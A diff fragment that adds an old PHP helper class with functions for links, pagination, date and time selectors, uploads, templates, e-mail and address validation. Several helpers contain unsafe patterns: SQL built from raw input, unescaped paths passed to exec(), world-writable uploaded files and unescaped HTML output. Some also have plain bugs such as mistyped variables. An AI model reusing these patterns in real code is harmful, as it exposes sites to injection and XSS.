+            "\xc2\x92" => "\xe2\x80\x99", /* RIGHT SINGLE QUOTATION MARK */
+            "\xc2\x93" => "\xe2\x80\x9c", /* LEFT DOUBLE QUOTATION MARK */
+            "\xc2\x94" => "\xe2\x80\x9d", /* RIGHT DOUBLE QUOTATION MARK */
+            "\xc2\x95" => "\xe2\x80\xa2", /* BULLET */
+            "\xc2\x96" => "\xe2\x80\x93", /* EN DASH */
+            "\xc2\x97" => "\xe2\x80\x94", /* EM DASH */
+
+            "\xc2\x98" => "\xcb\x9c",    /* SMALL TILDE */
+            "\xc2\x99" => "\xe2\x84\xa2", /* TRADE MARK SIGN */
+            "\xc2\x9a" => "\xc5\xa1",    /* LATIN SMALL LETTER S WITH CARON */
+            "\xc2\x9b" => "\xe2\x80\xba", /* SINGLE RIGHT-POINTING ANGLE QUOTATION*/
+            "\xc2\x9c" => "\xc5\x93",    /* LATIN SMALL LIGATURE OE */
+            "\xc2\x9e" => "\xc5\xbe",    /* LATIN SMALL LETTER Z WITH CARON */
+            "\xc2\x9f" => "\xc5\xb8"      /* LATIN CAPITAL LETTER Y WITH DIAERESIS*/
+               );
+        return  strtr(utf8_encode($str), $cp1252_map);
+    }// }}}
+    // {{{ create_href($options)
+
+
+    /**
+     * Short description for function
+     * 
+     * Long description (if any) ...
+     * 
+     * @param array $options Parameter description (if any) ...
+     * 
+     * @return mixed  Return description (if any) ...
+     * @access public
+     */
+    function create_href($options)
+    {
+        if (!is_array($options)) {
+            return false;
+        } else {
+            $id          = ($options['id'] && $options['id'] != '') 
+                ? ' id="'.$options["id"].'"': '';
+            $title       = ($options['title'] && $options['title'] != '') 
+                ? ' title="'.$options["title"].'"': '';
+            $class       = ($options['class'] && $options['class'] != '') 
+                ? ' class="'.$options["class"].'"': '';
+            $text        = ($options['text'] && $options['text'] != '') 
+                ? strip_tags($options["text"]) : '';
+            $onClick     = ($options['onClick'] && $options['onClick'] != '') 
+                ? ' onClick="'.$options["onClick"].'"': '';
+            $onMouseover = ($options['onMouseover'] && $options['onMouseover'] != '') 
+                ? ' onMouseover="'.$options["onMouseover"].'"': '';
+            $onMouseout  = ($options['onMouseout'] && $options['onMouseout'] != '') 
+                ? ' onMouseout="'.$options["onMouseout"].'"': '';
+            $out         = '<a'.$class.$title.$onClick.$onMouseout.$id.' 
+                href="'.$options["href"].'">'.$text.'</a>';
+            return $out;
+        }
+    }// }}}
+    // {{{ create_page_links($totalnum,$num,$start=0,$params,$page_length=ENTRIES_PER_PAGE)
+
+
+    /**
+     * Short description for function
+     * 
+     * Long description (if any) ...
+     * 
+     * @param mixed   $totalnum    Parameter description (if any) ...
+     * @param unknown $num         Parameter description (if any) ...
+     * @param number  $start       Parameter description (if any) ...
+     * @param unknown $params      Parameter description (if any) ...
+     * @param number  $page_length Parameter description (if any) ...
+     * 
+     * @return string  Return description (if any) ...
+     * @access public 
+     */
+    function create_page_links($totalnum,$num,$start=0,$params=null,
+            $page_length=ENTRIES_PER_PAGE)
+    {
+        // FIND out which page we're on.
+        if ($totalnum!=0) {  
+            $total_pages = floor($totalnum / $page_length);        // total pages = the total result divided by page length rounded down 
+            $total_pages++;                                        // then add one
+            if ($start == 0) {                                     // if start is 0 then page is one {
+                $page = 1;                                        
+            } else {
+                $page = ($start / $page_length) + 1;
+            }
+        }
+
+        if ($totalnum > $page_length && ($page != $totalpages)) {
+            $end = $page_length + $start;
+        } else {
+            $end = $totalnum;
+        }
+        $last = $start - $page_length;    
+        if (($start - $page_length) < 0) {
+            $prev = "";
+        } else {
+            $prev = "[<a href=\"$GLOBALS[PHP_SELF]?start=".$last
+                ."&$params\">PREVIOUS PAGE</a>]";
+        }
+        if ($end < $totalnum) {
+            $next = "[<a href=\"$GLOBALS[PHP_SELF]?start=".$end
+                ."&$params\">NEXT PAGE</a>]";
+        } else {
+            $next = "";
+        }    
+        $starting = $start + 1;    
+        $last_c   = $start + $num;
+        $links    = '<div class="page-links">Showing: '.$starting.' to '
+            .$last_c.' of '.$totalnum.'<div> '.$prev. ' &nbsp;  '
+            .$next.'</div></div>';
+        return $links;
+    }// }}}
+    // {{{ create_sitemap()
+
+
+    /**
+     * Short description for function
+     * 
+     * Long description (if any) ...
+     * 
+     * @return void  
+     * @access public
+     */
+    function create_sitemap()
+    {
+        $page = new Toolkit_Page(new GLM_TEMPLATE(9999));
+        // 404 pages must not contain any links (including css)
+        //$page->createErrorDocument();
+    }// }}}
+    // {{{ date_entry($month,$day,$year,$month_name,$day_name,$year_name)
+
+
+    /**
+     * Short description for function
+     * 
+     * Long description (if any) ...
+     * 
+     * @param string $month      Month
+     * @param string $day        Day
+     * @param string $year       Year
+     * @param string $month_name id and name value of month
+     * @param string $day_name   id and name value of day
+     * @param string $year_name  id and name value of year
+     * @param string $onChange   must be onChange="javzascript;"
+     * 
+     * @return string Return description (if any) ...
+     * @access public
+     */
+    function date_entry($month,$day,$year,$month_name,$day_name,$year_name,$onChange = null)
+    {
+        $cur_date = getdate();
+        if ($month == "") {
+            $month = $cur_date['mon'];
+        }
+        if ($day == "") {
+            $day = $cur_date['mday'];
+        }    
+        if ($year == "") {
+            $year = $cur_date['year'];
+        }
+        $date = '<select id="'.$month_name.'" name="'.$month_name.'" '.$onChange.'>';
+        for ($i=1;$i<13;$i++) {
+            $date .= '<option value="';
+            if ($i < 10) {
+                $date .= "0";
+            }
+            $date .= $i.'"';
+            if ($i == $month) {
+                $date .= ' selected';
+            }
+            $date .= '>'.$i.'</option>';    
+        }
+        $date .= '</select>';
+        $date .= '<select id="'.$day_name.'" name="'.$day_name.'" '.$onChange.'>';
+        for ($i=1;$i<32;$i++) {
+            $date .= '<option value="';
+            if ($i < 10) {
+                $date .= "0";
+            }
+            $date .= $i.'"';
+            if ($i == $day) {
+                $date .= ' selected';
+            }
+            $date .= '>'.$i.'</option>';    
+        }    
+        $date .= '</select>';
+        $date .= '<select id="'.$year_name.'" name="'.$year_name.'" '.$onChange.'>';
+        for ($i=2000;$i<2023;$i++) {
+            $date .= '<option value="'.$i.'"';
+            if ($i == $year) {
+                $date .= ' selected';
+            }
+            $date .= '>'.$i.'</option>';
+        }
+        $date .= '</select>';
+        return $date;    
+    }    // }}}
+    // {{{ explode_template($template,$data)
+
+
+    /**
+     * Short description for function
+     * 
+     * Long description (if any) ...
+     * 
+     * @param boolean $template Parameter description (if any) ...
+     * @param unknown $data     Parameter description (if any) ...
+     * 
+     * @return boolean Return description (if any) ...
+     * @access public 
+     */
+    function explode_template($template,$data)
+    {
+        $template = GLM_TOOLBOX::template_read($template);
+        $output   = GLM_TOOLBOX::template_replacement($template, $data);
+        return $output;
+
+    }// }}}
+    // {{{ file_upload($form_field, $file_name, $destination_path, $restricted = false)
+
+
+    /**
+     * Short description for function
+     * 
+     * Long description (if any) ...
+     * 
+     * @param unknown $form_field       Parameter description (if any) ...
+     * @param string  $file_name        Parameter description (if any) ...
+     * @param string  $destination_path Parameter description (if any) ...
+     * @param boolean $restricted       Parameter description (if any) ...
+     * 
+     * @return array   Return description (if any) ...
+     * @access public 
+     */
+    function file_upload($form_field, $file_name, $destination_path, $restricted = false)
+    {
+        $file_name_in_use = false;
+        $file_name        = ereg_replace("[!@#$%^&()+={};:\'\"\/ ]", "-", $file_name);
+        if ($restricted) {
+            $size = getImageSize($form_field);
+            if (!in_array($size[2], array(1, 2, 3))) {
+                echo '<p style="background-color:red;color:white;">'
+                .'The file you uploaded was of an incorect type, please only upload .gif,.png or .jpg files'
+                .'<BR CLEAR=ALL>'
+                .'</p>'
+                ."Hit your browser's back button to continue"
+                .'<P>';
+                $error[0] = "ERROR";
+                return $error;
+            }
+        }
+        if (file_exists($destination_path.$file_name)) {
+            $file_name_in_use = true;
+        }
+        if ($file_name_in_use == true) {
+            $new_file_name     = mktime().$file_name;
+            $new_file_location = $destination_path.$new_file_name;
+            copy($form_field, $new_file_location);
+            $file_upload       = $new_file_name;
+            $file_upload_array = array($new_file_name, $new_file_location);
+        } else {
+            $new_file_name     = $file_name;
+            $new_file_location = $destination_path.$new_file_name;
+            copy($form_field, $new_file_location);
+            $file_upload       = $new_file_name;
+            $file_upload_array = array($new_file_name, $new_file_location);
+        }
+        if (is_file($new_file_location)) {
+            chmod($new_file_location, 0666);
+        }
+        if ($restricted) {
+            return $file_upload_array;
+        } else {
+            return $file_upload;
+        }
+    }// }}}
+    // {{{ footer()
+
+
+    /**
+     * Short description for function
+     * 
+     * Long description (if any) ...
+     * 
+     * @return void  
+     * @access public
+     */
+    function footer()
+    {
+        $out = '
+            </body>
+            </html>
+            ';
+        echo $out;
+    }// }}}
+    // {{{ form_footer($name, $suppress = 0, $cs)
+
+
+    /**
+     * Short description for function
+     * 
+     * Long description (if any) ...
+     * 
+     * @param unknown $name     Parameter description (if any) ...
+     * @param integer $suppress Parameter description (if any) ...
+     * @param unknown $cs       Parameter description (if any) ...
+     * 
+     * @return void   
+     * @access public 
+     */
+    function form_footer($name, $suppress = 0, $cs = 2)
+    {
+        echo "<tr><td colspan=\"$cs\" align=center>
+            <input type=\"SUBMIT\" name=\"Command\" value=\"$name\">";
+        if ($suppress == 1) {
+            echo '<input type="SUBMIT" name="Command" value="Delete" onclick="return confirm(\'This will be Deleted! Are you sure?\');">';
+        }
+        /*        echo "<input type=\"SUBMIT\" name=\"Command\" value=\"Cancel\">";*/
+        echo "</td>";
+    }// }}}
+    // {{{ form_header($action, $method, $hidden = "")
+
+
+    /**
+     * Short description for function
+     * 
+     * Long description (if any) ...
+     * 
+     * @param unknown $action Parameter description (if any) ...
+     * @param unknown $method Parameter description (if any) ...
+     * @param mixed   $hidden Parameter description (if any) ...
+     * 
+     * @return void   
+     * @access public 
+     */
+    function form_header($action, $method, $hidden = "")
+    {
+        echo "<form action=\"$action\" method=\"$method\" 
+            enctype=\"multipart/form-data\">";
+        if ($hidden != "" && is_array($hidden)) {        
+            foreach ($hidden as $key=>$value) {
+                echo "<input type=\"hidden\" name=\"$key\" value=\"$value\">";
+            }
+        }
+    }// }}}
+    // {{{ get_parentid($id)
+
+
+    /**
+     * Short description for function
+     * 
+     * Long description (if any) ...
+     * 
+     * @param integer $id Parameter description (if any) ...
+     * 
+     * @return mixed   Return description (if any) ...
+     * @access public 
+     */
+    function get_parentid($id)
+    {
+        static $parentshow;
+        if ($id == 0) {
+            return 0;        
+        }
+        if (!is_array($parentshow)) {
+            $qs        = "select parent from bus_category where id = $id";
+            $parentrow = GLM_TOOLBOX::db_auto_get_data($qs);      
+        }
+        if ($parentrow[0]['parent'] == 0) {
+            return $id;
+        } else {
+            return GLM_TOOLBOX::get_parentid($parentrow[0]['parent']);
+        }
+    }// }}}
+    // {{{ get_season()
+
+
+    /**
+     * Short description for function
+     * 
+     * Long description (if any) ...
+     * 
+     * @return string Return description (if any) ...
+     * @access public
+     */
+    function get_season()
+    {
+        /*
+           The seasons
+           Spring     March 21st     to     June 20
+           Summer     June 21     to     Sept 20
+           Fall        Sept 21        to  Dec 20
+           Winter        Dec  21        to    March 20
+         */
+        $Spring = mktime(0, 0, 0, 3, 21, date("Y"));
+        $Summer = mktime(0, 0, 0, 6, 21, date("Y"));
+        $Fall   = mktime(0, 0, 0, 9, 21, date("Y"));
+        $Winter = mktime(0, 0, 0, 12, 21, date("Y"));
+        $time   = mktime();
+        if ($time >= $Spring && $time < $Summer) {
+            $season = "spring";
+        } elseif ($time >= $Summer && $time < $Fall) {
+            $season = "summer";
+        } elseif ($time >= $Fall && $time < $Winter) {
+            $season = "fall";
+        } else {
+            $season = "winter";
+        }
+        return $season;
+    }// }}}
+    // {{{ get_size($file)
+
+
+    /**
+     * Short description for function
+     * 
+     * Long description (if any) ...
+     * 
+     * @param unknown $file Parameter description (if any) ...
+     * 
+     * @return mixed   Return description (if any) ...
+     * @access public 
+     */
+    function get_size($file)
+    {
+        $size = filesize($file) / 1024;
+        if ($size >= 1000) {
+            $size  = (float) number_format($size / 1000, 2);
+            $size .= 'MB';
+        } elseif ($size < 1000) {
+            $size  = ceil($size);
+            $size .= 'KB';
+        }
+        return $size;
+    }// }}}
+    // {{{ html_error($msg, $bail)
+
+
+    /**
+     * Short description for function
+     * 
+     * Long description (if any) ...
+     * 
+     * @param string  $msg  Parameter description (if any) ...
+     * @param unknown $bail Parameter description (if any) ...
+     * 
+     * @return void   
+     * @access public 
+     */
+    function html_error($msg, $bail)
+    {
+        echo '<div style="color:red;"><pre>'.$msg.'</pre></div>';
+        if ($bail) {
+            GLM_TOOLBOX::footer();
+        }
+    }// }}}
+    // {{{ html_header($title, $msg, $img)
+
+
+    /**
+     * Short description for function
+     * 
+     * Long description (if any) ...
+     * 
+     * @param unknown $title Parameter description (if any) ...
+     * @param unknown $msg   Parameter description (if any) ...
+     * @param unknown $img   Parameter description (if any) ...
+     * 
+     * @return void   
+     * @access public 
+     */
+    function html_header($title, $msg, $img)
+    {
+        $header_table_width = "400";
+        $header_table_align = "center";
+        echo '<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
+            "http://www.w3.org/TR/html4/loose.dtd">
+            <html>
+            <head>
+            <title><?echo $title?></title>
+            <link type="text/css" rel=stylesheet href="<?echo STYLE?>">
+            </head>
+            <body>
+            <table width="<?echo $header_table_width?>" align="<?echo $header_table_align?>" summary="Header Information" class="headertable" cellspacing="0" cellpadding="3">
+            <tr class="headertr">
+            <td class="headertd">';
+        if ($img) {
+            echo '<img src="<?echo IMG_BASE.$img?>" alt="<?echo HEAD?>" border="0">';
+        }
+        echo '</td>
+            </tr>
+            <tr>
+            <td class="headertd2" align="center">
+            <div class="headerh2" align="center"><?echo "$msg"?></div>
+            </td>
+            </tr>
+            </table>';
+    }// }}}
+    // {{{ html_nav_table($nav, $w)
+
+
+    /**
+     * Short description for function
+     * 
+     * Long description (if any) ...
+     * 
+     * @param array   $nav Parameter description (if any) ...
+     * @param unknown $w   Parameter description (if any) ...
+     * 
+     * @return void   
+     * @access public 
+     */
+    function html_nav_table($nav, $w)
+    {
+        if (is_array($nav)) {
+            $out = '<ul class="admin_nav">';
+            foreach ($nav as $link => $url) {
+                if (is_array($url)) {
+                    $out .= '<li><a href="'.$urli[0].'" '.$url[1].'>'.$link.'</a></li>';
+                } else {
+                    $out .= '<li><a href="'.$url.'">'.$link.'</a></li>';
+                }
+            }
+            $out .= '</ul>';
+        }
+        echo $out;
+    }// }}}
+    // {{{ http_strip(&$string)
+
+
+    /**
+     * Short description for function
+     * 
+     * Long description (if any) ...
+     * 
+     * @param unknown &$string Parameter description (if any) ...
+     * 
+     * @return void   
+     * @access public 
+     */
+    function http_strip(&$string)
+    {
+        $test_string = strtolower($string);
+        if (substr($test_string, 0, 7) == "http://") {
+            $string = substr($string, 7);
+        }
+    }// }}}
+    // {{{ img_resize($path2image, $path2thumb, $size)
+
+
+    /**
+     * Short description for function
+     * 
+     * Long description (if any) ...
+     * 
+     * @param unknown $path2image Parameter description (if any) ...
+     * @param unknown $path2thumb Parameter description (if any) ...
+     * @param unknown $size       Parameter description (if any) ...
+     * 
+     * @return mixed   Return description (if any) ...
+     * @access public 
+     */
+    function img_resize($path2image, $path2thumb, $size)
+    {
+        exec("which convert", $output, $return);
+        if ($return == 0) {
+            $CONVERT = $output[0];
+        } else {
+            return $error = array('convert path uknown');
+        }
+        $imageName = basename($path2image);
+        $thumbName = basename($path2thumb);
+
+        exec("$CONVERT -quality 100 -scale $size $path2image $path2thumb");
+        //chmod($path2thumb,660);
+
+        $img_resize_array = array("$imageName","$path2image","$thumbName","$path2thumb");
+        return $img_resize_array;
+    }// }}}
+    // {{{ img_upload($form_field, $img_name, $destination_path)
+
+
+    /**
+     * Short description for function
+     * 
+     * Long description (if any) ...
+     * 
+     * @param unknown $form_field       Parameter description (if any) ...
+     * @param unknown $img_name         Parameter description (if any) ...
+     * @param unknown $destination_path Parameter description (if any) ...
+     * 
+     * @return boolean Return description (if any) ...
+     * @access public 
+     */
+    function img_upload($form_field, $img_name, $destination_path)
+    {
+        return GLM_TOOLBOX::file_upload($form_field, $img_name, $destination_path, true);
+    }// }}}
+    // {{{ is_utf8($string)
+
+
+    /**
+     * Short description for function
+     * 
+     * Long description (if any) ...
+     * 
+     * @param unknown $string Parameter description (if any) ...
+     * 
+     * @return mixed   Return description (if any) ...
+     * @access public 
+     */
+    function is_utf8($string)
+    {
+        return preg_match('/^([\x00-\x7f]|[\xc2-\xdf][\x80-\xbf]|\xe0[\xa0-\xbf][\x80-\xbf]|[\xe1-\xec][\x80-\xbf]{2}|\xed[\x80-\x9f][\x80-\xbf]|[\xee-\xef][\x80-\xbf]{2}|f0[\x90-\xbf][\x80-\xbf]{2}|[\xf1-\xf3][\x80-\xbf]{3}|\xf4[\x80-\x8f][\x80-\xbf]{2})*$/', $string) === 1;
+    }// }}}
+    // {{{ make_data_table($data, $tableId = null)
+
+
+    /**
+     * Short description for function
+     * 
+     * Long description (if any) ...
+     * 
+     * @param array  $data    Parameter description (if any) ...
+     * @param string $tableId Parameter description (if any) ...
+     * 
+     * @return mixed  Return description (if any) ...
+     * @access public
+     */
+    function make_data_table($data, $tableId = null)
+    {
+        if (is_array($data)) {
+            $count = 0;
+            foreach ($data as $row) {
+                if (!is_array($row)) {
+                    return false;
+                }
+                $table_body .= '<tr>
+                    ';
+                $col         = 1;
+                foreach ($row as $field_name => $field) {
+                    if ($count == 0) {
+                        $table_head .= '<th>'.$field_name.'</th>';
+                    }
+                    $table_body .= '<td class="c'.$col.'">'.$field.'</td>';
+                    $col++;
+                }
+                $count++;
+                $table_body .= '</tr>
+                    ';
+            }
+            $table = '<table'.(($tableId)?' id="'.$tableId.'"':'').'>
+                <tr>'.$table_head.'</tr>
+                '.$table_body.'
+                </table>';
+        }
+        return $table;
+    }// }}}
+    // {{{ make_teaser($text, $maxlength, $strip_tags=false)
+
+
+    /**
+     * Short description for function
+     * 
+     * Long description (if any) ...
+     * 
+     * @param unknown $text       Parameter description (if any) ...
+     * @param unknown $maxlength  Parameter description (if any) ...
+     * @param boolean $strip_tags Parameter description (if any) ...
+     * 
+     * @return unknown Return description (if any) ...
+     * @access public 
+     */
+    function make_teaser($text, $maxlength, $strip_tags=false)
+    {
+        if ($strip_tags) { 
+            $text = strip_tags($text); 
+        }
+        if (strlen($text) > $maxlength) {     
+            if (!($pos = strpos($text, ' ', $maxlength))) {
+                return $text;
+            }
+            $text = substr($text, 0, $pos);
+        }
+        return $text;
+    }// }}}
+    // {{{ myEncode($string)
+
+
+    /**
+     * Short description for function
+     * 
+     * Long description (if any) ...
+     * 
+     * @param unknown $string Parameter description (if any) ...
+     * 
+     * @return boolean Return description (if any) ...
+     * @access public 
+     */
+    function myEncode($string)
+    {
+        if (GLM_TOOLBOX::is_utf8($string)) {
+            return $string;
+        } else {
+            return GLM_TOOLBOX::cp1252_to_utf8($string);
+        }
+    }// }}}
+    // {{{ php_old_pg()
+
+
+    /**
+     * Short description for function
+     * 
+     * Long description (if any) ...
+     * 
+     * @return boolean Return description (if any) ...
+     * @access public 
+     */
+    function php_old_pg()
+    {
+        switch($this->php_version[0]) {
+        case 5:
+            return false;
+            break;
+
+        case 4:
+            switch($php_version[1]) {
+            case 2:
+                return false;
+                break;
+            case 1:
+                return true;
+                break;
+            }
+            break;
+        }
+    }// }}}
+    // {{{ php_version_check()
+
+    /**
+     * Short description for function
+     * 
+     * Long description (if any) ...
+     * 
+     * @return array  Return description (if any) ...
+     * @access public
+     */
+    function php_version_check()
+    {
+        $this->php_version = explode(".", phpversion());
+        return $this->php_version;
+    }// }}}
+    // {{{ process_image($image, $image_name)
+
+    /**
+     * Short description for function
+     * 
+     * Long description (if any) ...
+     * 
+     * @param unknown $image      Parameter description (if any) ...
+     * @param unknown $image_name Parameter description (if any) ...
+     * 
+     * @return unknown Return description (if any) ...
+     * @access public 
+     */
+    function process_image($image)
+    {
+        require_once BASE.'Toolkit/Image/Server.php';
+        $imServer = new Toolkit_Image_Server();
+        $image_name = $imServer->imageUpload($image);
+        return $image_name;
+    }// }}}
+    // {{{ send_html_email($to, $subject, $body, $headers, $charset = 'utf-8')
+
+
+    /**
+     * Short description for function
+     * 
+     * Long description (if any) ...
+     * 
+     * @param unknown $to      Parameter description (if any) ...
+     * @param unknown $subject Parameter description (if any) ...
+     * @param unknown $body    Parameter description (if any) ...
+     * @param string  $headers Parameter description (if any) ...
+     * @param string  $charset Parameter description (if any) ...
+     * 
+     * @return void   
+     * @access public 
+     */
+    function send_html_email($to, $subject, $body, $headers, $charset = 'utf-8')
+    {
+        if ($headers) {
+            $headers .= "\n";
+        }
+        $headers .= "MIME-Version: 1.0\n" 
+                 .  "Content-type: text/html; charset=".$charset;
+        mail($to, $subject, $body, $headers);
+    }// }}}
+    // {{{ template_read($template)
+
+
+    /**
+     * Short description for function
+     * 
+     * Long description (if any) ...
+     * 
+     * @param nknown $template Parameter description (if any) ...
+     * 
+     * @return string  Return description (if any) ...
+     * @access public 
+     */
+    function template_read($template)
+    {
+        $fp       = fopen($template, "r");
+        $contents = fread($fp, filesize($template));
+        fclose($fp);
+        if ($contents) {
+            return $contents;
+        } else {
+            return "";
+        }
+    }// }}}
+    // {{{ template_replacement($template, $fieldarr)
+
+
+    /**
+     * Short description for function
+     * 
+     * Long description (if any) ...
+     * 
+     * @param unknown $template Parameter description (if any) ...
+     * @param array   $fieldarr Parameter description (if any) ...
+     * 
+     * @return unknown Return description (if any) ...
+     * @access public 
+     */
+    function template_replacement($template, $fieldarr)
+    {
+        if (is_array($fieldarr)) {
+            $fieldarr['BASE_URL'] = BASE_URL;
+            foreach ($fieldarr as $key => $value) {
+                $p = "/<!-- loop:$key -->(.*?)<!-- endloop:$key -->/s";
+                if (preg_match($p, $template, $match) && is_array($value)) {
+                    // ok we have found a loop for this array
+                    // now lets add into this template the correct 
+                    // number we'll need to do the replacement
+                    // replace template loop section with {loop:$key}
+                    $p        = "/<!-- loop:$key -->(.*?)<!-- endloop:$key -->/s";
+                    $template = preg_replace($p, "{loop:$key}", $template);
+                    // saving the actual template with match run through 
+                    // the array to build a tempory section
+                    // then switch it out for {loop:$key}
+                    $template_temp = '';
+                    foreach ($value as $srow) {
+                        $tpl = $match[1];
+                        foreach ($srow as $field => $val) {
+                            $p = "/<!-- if:$key:$field -->(.*?)<!-- endif:$key:$field -->/s";
+                            if (preg_match($p, $template) && $val == '') {
+                                $p   = "/<!-- if:$key:$field -->(.*?)<!-- endif:$key:$field -->/s";
+                                $tpl = preg_replace($p, '', $tpl);
+                            } else {
+                                $tpl = str_replace("<!-- $key:$field -->", $val, $tpl);
+                            }
+                        }
+                        $template_temp .= $tpl;
+                    }
+                    $template = str_replace("{loop:$key}", $template_temp, $template);
+
+                } else {
+                    $p = "/<!-- if:$key -->(.*?)<!-- endif:$key -->/s";
+                    if (preg_match($p, $template) && $value == '') {
+                        $p        = "/<!-- if:$key -->(.*?)<!-- endif:$key -->/s";
+                        $template = preg_replace($p, '', $template);
+                    } else {
+                        $template = str_replace("<!-- $key -->", $value, $template);
+                    }
+                }
+            }
+        }
+
+        return $template;
+    }// }}}
+    // {{{ text_area($name, $value, $rows = 15, $cols = 50, $wrap = "virtual")
+
+
+    /**
+     * Short description for function
+     * 
+     * Long description (if any) ...
+     * 
+     * @param unknown $name  Parameter description (if any) ...
+     * @param unknown $value Parameter description (if any) ...
+     * @param integer $rows  Parameter description (if any) ...
+     * @param integer $cols  Parameter description (if any) ...
+     * @param string  $wrap  Parameter description (if any) ...
+     * 
+     * @return void   
+     * @access public 
+     */
+    function text_area($name, $value, $rows = 15, $cols = 50, $wrap = "virtual")
+    {
+        include_once BASE . 'fckeditor/fckeditor.php';
+        $oFCKeditor           = new FCKeditor($name);
+        $oFCKeditor->BasePath = BASE_URL . 'fckeditor/';
+        $oFCKeditor->Width    = '570';
+        $oFCKeditor->Height   = '400';
+        $oFCKeditor->Value    = $value;
+        echo '<td>';
+        $oFCKeditor->Create();
+        echo '</td>';
+
+    }// }}}
+    // {{{ text_box($name, $value, $size = 35)
+
+
+    /**
+     * Short description for function
+     * 
+     * Long description (if any) ...
+     * 
+     * @param unknown $name  Parameter description (if any) ...
+     * @param unknown $value Parameter description (if any) ...
+     * @param integer $size  Parameter description (if any) ...
+     * 
+     * @return void   
+     * @access public 
+     */
+    function text_box($name, $value, $size = 35) 
+    {
+        echo "<td class=\"navtd2\"><input type=\"text\" name=\"$name\" 
+            value=\"".htmlspecialchars($value)."\" size=\"$size\"></td>";
+    }// }}}
+    // {{{ time_entry($H, $m, $F, $H_name, $m_name, $F_name)
+
+
+    /**
+     * Short description for function
+     * 
+     * Long description (if any) ...
+     * 
+     * @param mixed   $H      Parameter description (if any) ...
+     * @param string  $m      Parameter description (if any) ...
+     * @param string  $F      Parameter description (if any) ...
+     * @param unknown $H_name Parameter description (if any) ...
+     * @param unknown $m_name Parameter description (if any) ...
+     * @param unknown $F_name Parameter description (if any) ...
+     * 
+     * @return string  Return description (if any) ...
+     * @access public 
+     */
+    function time_entry($H, $m, $F, $H_name, $m_name, $F_name)
+    {
+        $cur_date = getdate();
+        if ($H == "") {
+            $H = $cur_date['hours'];
+        }
+        if ($m == "") {
+            $m = $cur_date['minutes'];
+        }    
+        if ($H>12) {
+            $F = "PM";
+            $H = $H - 12;
+        }
+        $time = "Hr:<select name=\"$H_name\" size=\"1\">";
+        for ($i=1;$i<=12;$i++) {
+            $time .= "<option value=\"";
+            if ($i < 10) {
+                $time .= "0";
+            }
+            $time .= "$i\"";
+            if ($i == $H) {
+                $time .= " selected";
+            }
+            $time .= ">$i\n";    
+        }
+        $time .= "</select>\n";
+        $time .= "Min:<select name=\"$m_name\" size=\"1\">";
+        for ($i=0;$i<60;$i=$i+15) {
+            $time .= "<Option value=\"";
+            if ($i < 10) {
+                $time .= "0";
+            }
+            $time .= "$i\"";
+            if ($i == $m) {
+                $time .= " selected";
+            }
+            $time .= ">";
+            if ($i < 10) {
+                $time .= "0";
+            }
+            $time .= "$i\n";    
+        }    
+        $time .= "</select>";
+        $time .= "<select name=\"$F_name\" size=\"1\">";
+        $time .= "<option value=\"AM\"";
+        if ($F == "AM") {
+            $time .= " selected";
+        }
+        $time .= ">AM\n";
+        $time .= "<option value=\"PM\"";
+        if ($F == "PM") {
+            $time .= " selected";
+        }
+        $time .= ">PM\n";
+        $time .= "</select>\n";
+        return $time;
+    }// }}}
+    // {{{ top($message, $hp,$hp2 = null)
+
+
+    /**
+     * Short description for function
+     * 
+     * Long description (if any) ...
+     * 
+     * @param string  $message Parameter description (if any) ...
+     * @param unknown $hp      Parameter description (if any) ...
+     * @param string  $hp2     Parameter description (if any) ...
+     * 
+     * @return void   
+     * @access public 
+     */
+    function top($message, $hp,$hp2 = null)
+    {
+        if ($hp2 != "") {
+            $help_guide = '<div id="glm-manual">';
+            /*
+               $help_guide = '<div id="glm-manual"><a id="manual-html"
+               href="http://www.gaslightmedia.com/manuals/html/'.$hp2.'.html" 
+               target="_blank">Online Help Guide</a>&nbsp;';
+             */
+            $help_guide .= '<a id="manual-pdf"
+                href="http://www.gaslightmedia.com/manuals/pdf/'.$hp2.'.pdf" 
+                target="_blank">Printable Help Guide</a></div>';
+        }
+        $out = '
+            <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
+            "http://www.w3.org/TR/html4/strict.dtd">
+            <html>
+            <head>
+            <title>Untitled</title>
+            <meta http-equiv="content-type" content="text/html;charset=utf-8">
+                       <script type="text/javascript" src="'.BASE_URL.'libjs/jquery.js"></script>
+            <link rel="stylesheet" type="text/css" href="../main.css">
+            </head>
+            <body>
+            <h1>'.$message.'</h1>    
+            '.$help_guide.'
+            ';
+        echo $out;
+    }// }}}
+    // {{{ top2($message, $hp,$hp2 = null)
+
+
+    /**
+     * Short description for function
+     * 
+     * Long description (if any) ...
+     * 
+     * @param unknown $message Parameter description (if any) ...
+     * @param unknown $hp      Parameter description (if any) ...
+     * @param unknown $hp2     Parameter description (if any) ...
+     * 
+     * @return void   
+     * @access public 
+     */
+    function top2($message, $hp, $hp2 = null)
+    {
+        // make this an alias to top()
+        // by calling top instead of adding extra code
+        GLM_TOOLBOX::top($message, $hp, $hp2);
+    }// }}}
+    // {{{ valid_email($email)
+
+
+    /**
+     * Short description for function
+     * 
+     * Long description (if any) ...
+     * 
+     * @param unknown $email Parameter description (if any) ...
+     * 
+     * @return boolean Return description (if any) ...
+     * @access public 
+     */
+    function valid_email($email) 
+    {
+        // First, we check that there's one @ symbol, and lengths are right
+        if (!ereg("^[^@]{1,64}@[^@]{1,255}$", $email)) {
+            // Email invalid because wrong number of characters in one section,
+            // or wrong number of @ symbols.
+            return false;
+        }
+        // Split it into sections to make life easier
+        $email_array = explode("@", $email);
+        $local_array = explode(".", $email_array[0]);
+        for ($i = 0; $i < sizeof($local_array); $i++) {
+            $p = "^(([A-Za-z0-9!#$%&'*+/=?^_`{"
+                ."|}~-][A-Za-z0-9!#$%&'*+/=?^_`{|}~\.-]{0,63})"
+                . "|(\"[^(\\|\")]{0,62}\"))$";
+            if (!ereg($p, $local_array[$i])) {
+                return false;
+            }
+        }  
+        if (!ereg("^\[?[0-9\.]+\]?$", $email_array[1])) { 
+            // Check if domain is IP. If not, it should be valid domain name
+            $domain_array = explode(".", $email_array[1]);
+            if (sizeof($domain_array) < 2) {
+                return false; // Not enough parts to domain
+            }
+            for ($i = 0; $i < sizeof($domain_array); $i++) {
+                $p = "^(([A-Za-z0-9][A-Za-z0-9-]{0,61}[A-Za-z0-9])"
+                    ."|([A-Za-z0-9]+))$";
+                if (!ereg($p, $domain_array[$i])) {
+                    return false;
+                }
+            }
+        }
+        return true;
+    }// }}}
+    // {{{ word_limiter($str, $limit = 100, $end_char = '&#8230;')
+
+
+    /**
